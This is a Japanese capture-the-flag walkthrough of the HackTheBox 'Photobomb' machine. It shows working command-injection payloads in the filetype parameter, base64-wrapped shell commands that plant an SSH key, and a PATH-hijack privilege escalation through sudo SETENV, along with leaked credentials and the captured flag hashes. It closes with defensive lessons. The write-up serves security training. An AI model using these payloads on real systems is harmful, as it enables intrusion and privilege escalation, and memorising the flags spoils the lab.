HackTheBox: Photobomb — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx)
→
22(SSH)/80(nginx)
photobomb.js 漏洩
pH0t0:b0Mb! ハードコード
→
pH0t0:b0Mb! ハードコード
/printer filetype
ブラインドコマンドインジェクション
→
ブラインドコマンドインジェクション
SSH公開鍵注入
authorized_keys 書込み
→
authorized_keys 書込み
SSH wizard
user.txt ✓
→
user.txt ✓
sudo SETENV NOPASSWD
/opt/cleanup.sh の find 呼出し
→
/opt/cleanup.sh の find 呼出し
PATH ハイジャック
偽 find バイナリ
→
偽 find バイナリ
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & vhostリダイレクトの確認
BASH
nmap -sV -sC -p 22,80 10.129.228.60 curl -sI http://10.129.228.60/
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 80/tcp open http nginx 1.18.0 (Ubuntu) HTTP/1.1 302 Moved Temporarily Location: http://photobomb.htb/
ℹ️
ルートへのアクセスは
photobomb.htbへリダイレクトされるため、
/etc/hostsへの追記が必須。
PHASE 2
JavaScriptソースに残されたBasic認証資格情報
photobomb.js を取得
BASH
echo "10.129.228.60 photobomb.htb" | sudo tee -a /etc/hosts curl -s http://photobomb.htb/photobomb.js
RESULT
function init() {
// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
document.getElementsByClassName('creds')[0].setAttribute('href',
'http://pH0t0:b0Mb!@photobomb.htb/printer');
}
}
window.onload = init;
🚨
開発者のコメント付きで平文のBasic認証資格情報がJavaScriptに直書きされている。
特定のCookieを持つ「テックサポート」向けにのみ資格情報入りリンクを表示する仕組みだが、
JSファイル自体は誰でも閲覧できるため、そのCookieの有無に関わらず
資格情報
pH0t0:b0Mb! がそのまま読み取れてしまう。
資格情報で /printer にアクセス
BASH
curl -s -u 'pH0t0:b0Mb!' http://photobomb.htb/printer | grep -A2 "Select an image"
RESULT
<h3>Select an image</h3>
<input type="radio" name="photo" value="voicu-apostol-MWER49YaD-M-unsplash.jpg" .../>
...
<select name="filetype">
<option value="jpg">JPG</option>
<option value="png">PNG</option>
</select>
<input type="radio" name="dimensions" value="3000x2000" .../>
ℹ️
「写真を選んでサイズ・ファイル形式を指定し、グッズ印刷用に変換する」という社内ツール。
サーバー側ではおそらく
convert(ImageMagick)等の外部コマンドを
photo/filetype/dimensionsの値を使って組み立てて
呼び出していると推測できる。
PHASE 3
filetypeパラメータのブラインドコマンドインジェクション
正常なリクエストの挙動を確認
BASH
curl -s -u 'pH0t0:b0Mb!' -X POST \ --data-urlencode "photo=voicu-apostol-MWER49YaD-M-unsplash.jpg" \ --data-urlencode "filetype=jpg" \ --data-urlencode "dimensions=3000x2000" \ http://photobomb.htb/printer | head -c 100
RESULT
....JFIF..H.H..ICC_PROFILE...lcms..mntrRGB XYZ ... (変換されたJPEGバイナリがそのまま返る)
ℹ️
正常時はリサイズ済み画像のバイナリがレスポンスとしてそのまま返る。
filetypeがシェルコマンドの一部に文字列結合されているなら、
セミコロン;で区切って追加コマンドを注入できる可能性がある。
コマンドインジェクションの確認(ブラインド)
BASH
curl -s -u 'pH0t0:b0Mb!' -X POST \
--data-urlencode "photo=voicu-apostol-MWER49YaD-M-unsplash.jpg" \
--data-urlencode "filetype=jpg;id>/tmp/pwn_test;#" \
--data-urlencode "dimensions=3000x2000" \
http://photobomb.htb/printer -o /dev/null -w "code=%{http_code}\n"
RESULT
code=500
⚠️
filetypeに不正な拡張子を与えると、後続のconvert ... output.{filetype}
的な処理が出力ファイル生成に失敗しHTTP 500が返る。しかし
セミコロンの前にあるid > /tmp/pwn_testはシェル上で先に実行済み
— これが「ブラインド」コマンドインジェクションと呼ばれる所以で、
レスポンス自体からは注入成功を直接確認できない。SSH公開鍵注入等、
別の手段で成功を実証する必要がある。
PHASE 4
SSH公開鍵注入で安定したシェルを確立 & user.txt
ローカルで鍵ペアを生成
BASH
ssh-keygen -t ed25519 -f pb_key -N "" -q cat pb_key.pub
RESULT
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIORmDr2P7d9p/R3GZ6M6oIeYw+j7DaGFyMrOU1vXmrn5 root@kali
base64でコマンドを包み、filetype経由で authorized_keys に書き込む
BASH
CMD="mkdir -p /home/wizard/.ssh && echo '<公開鍵>' >> /home/wizard/.ssh/authorized_keys \
&& chmod 700 /home/wizard/.ssh && chmod 600 /home/wizard/.ssh/authorized_keys"
B64=$(echo -n "$CMD" | base64 -w0)
FILETYPE="jpg;echo ${B64}|base64 -d|sh;#"
curl -s -u 'pH0t0:b0Mb!' -X POST \
--data-urlencode "photo=voicu-apostol-MWER49YaD-M-unsplash.jpg" \
--data-urlencode "filetype=${FILETYPE}" \
--data-urlencode "dimensions=3000x2000" \
http://photobomb.htb/printer -o /dev/null -w "code=%{http_code}\n"
RESULT
code=500 (想定通り。実際の成否はSSHで確認)
ℹ️
コマンドにスペースや特殊文字(
&&、シングルクォート等)を直接
filetypeに入れるとURLエンコード/シェル解釈の衝突で壊れやすいため、
実行したいコマンドを先にbase64化し、ターゲット側でbase64 -d|shに渡す
方式が確実(他のマシンの攻略でも繰り返し使われている定石)。
注入した鍵でSSHログイン & user.txt取得
BASH
ssh -i pb_key -o StrictHostKeyChecking=no wizard@10.129.228.60 \ "id; hostname; cat /home/wizard/user.txt"
RESULT
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard) photobomb b72fce6c7631bac58a3cfa96b2e6a657
user.txt — wizard
b72fce6c7631bac58a3cfa96b2e6a657
✅
ログイン成功=コマンドインジェクション実証完了。ブラインドな脆弱性の
確認手段として、HTTPレスポンスではなく「別経路(SSH)でのアクセス確立」を使う
典型パターン。
PHASE 5
sudo権限の確認とcleanup.shの脆弱なfind呼び出し
sudo -l でroot実行可能なスクリプトを確認
BASH
wizard@photobomb:~$ sudo -l
RESULT
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
🚨
NOPASSWDに加えてSETENVが付与されている点が重要。
これにより、sudo実行時に環境変数を自由に上書きできる
(デフォルトではsudoは安全のため多くの環境変数をリセットするが、
SETENVタグがあるとその制限が外れる)。
cleanup.sh の中身を確認 — find がフルパス指定なし
BASH
wizard@photobomb:~$ cat /opt/cleanup.sh
RESULT
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
🚨
catやtruncateは/bin/・/usr/bin/と
フルパス指定されているのに対し、最後のfindだけはフルパスなし
で呼ばれている。SETENVによりPATHを自由に書き換えられるため、
findという名前の偽バイナリを自作しPATHの先頭に割り込ませれば、
root権限のcleanup.shがその偽findを実行してしまう。
PHASE 6
偽findバイナリでPATHハイジャック & root.txt取得
偽findを作成しPATHを先頭に割り込ませてcleanup.shを実行
BASH
wizard@photobomb:~$ printf '#!/bin/sh\ncp /root/root.txt /tmp/rb.txt\nchmod 644 /tmp/rb.txt\n' > /tmp/find wizard@photobomb:~$ chmod +x /tmp/find wizard@photobomb:~$ sudo PATH=/tmp:$PATH /opt/cleanup.sh wizard@photobomb:~$ cat /tmp/rb.txt
RESULT
5c5a85ae576dc70975a37e36a84d203a
✅
root権限で実行されたcleanup.shが
/opt/.bashrc読込後に
findを呼ぶ際、PATHの先頭が/tmpになっているため
/tmp/find(こちらは単なるシェルスクリプトで、/root/root.txtを
誰でも読める/tmpにコピーするだけ)が本物のfindの代わりに
実行される。これでroot所有のファイルを一般ユーザーの権限のまま盗み見ることができる。
root.txt — root (sudo PATH hijack経由)
5c5a85ae576dc70975a37e36a84d203a
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — wizard
b72fce6c7631bac58a3cfa96b2e6a657
root.txt — root
5c5a85ae576dc70975a37e36a84d203a
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| フロントエンドJSへの資格情報ハードコード | photobomb.js | Basic認証資格情報の漏洩 | High | Cookie条件分岐の裏にあるが、JSファイル自体は誰でも閲覧できpH0t0:b0Mb!がそのまま読める |
| OSコマンドインジェクション | /printer の filetype パラメータ |
リモートコード実行(ブラインド) | Critical | 画像変換コマンド構築時にfiletype値をサニタイズせず文字列結合、;区切りで任意コマンドを注入 |
| sudo SETENV + PATH未固定のスクリプト | /opt/cleanup.sh (sudo実行可) | 権限昇格(一般ユーザー → root) | Critical | SETENVでPATH変数を上書きし、フルパス指定のないfind呼出しを偽バイナリに差し替え |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + vhostリダイレクト追跡 | 22(SSH)/80(nginx photobomb.htb) |
| 2 | 資格情報漏洩 | photobomb.js 直読み | pH0t0:b0Mb! (Basic認証) |
| 3 | コマンドインジェクション | filetypeパラメータへの;注入 | 任意コマンド実行(ブラインド)プリミティブ確立 |
| 4 | フットホールド | SSH公開鍵注入 + base64ラッピング | user.txt(wizard) |
| 5 | 権限調査 | sudo -l + cleanup.sh読み取り | SETENV NOPASSWD + フルパスなしfind呼出し |
| 6 | 権限昇格 | 偽find PATHハイジャック | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| クライアント側JavaScriptに資格情報をハードコードしている | 認証情報はサーバー側で管理し、クライアントに一切送信しない。フロントエンドのソースは常に公開情報として扱う。 |
| ユーザー制御のパラメータを外部コマンド(ImageMagick等)構築にそのまま使用 | シェル経由の文字列結合を避け、subprocess系APIで引数配列を直接渡す(シェル解釈を経由させない)。入力値はホワイトリストで厳格に検証する。 |
sudoルールにSETENVを安易に付与し、呼び出し先スクリプトが外部コマンドをフルパス指定していない |
SETENVは本当に必要な場合のみ付与し、root権限で実行するスクリプトは全ての外部コマンドを絶対パスで呼び出し、明示的にPATHを固定する(PATH=/usr/bin:/bin等をスクリプト冒頭で設定)。 |

